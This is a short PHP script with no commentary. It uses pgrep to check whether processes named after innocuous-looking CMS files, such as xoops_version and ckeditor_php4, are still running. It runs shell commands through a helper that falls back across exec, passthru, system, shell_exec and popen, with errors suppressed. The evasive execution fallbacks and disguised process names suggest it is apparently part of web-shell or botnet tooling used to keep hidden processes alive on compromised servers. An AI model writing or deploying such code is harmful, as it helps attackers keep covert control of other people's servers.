<?php   $files = ['extfilter','russian.lng','freesansb','ckeditor_php4','ipn_test_return','extraFields','table.categories','roles_actions','adminedit','table.currencies','groups.setts','configure_old','adquestions_ed','ebank_ok','com_sobi2','xoopscaptcha','methoduninstall','folderlist','backendt','AttrCollections','locale_func','usergroup_15','xoops_version','display.menu','feedback_240609','researchReports','editProjects','portuguese','traderoute','settings.inc']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; } 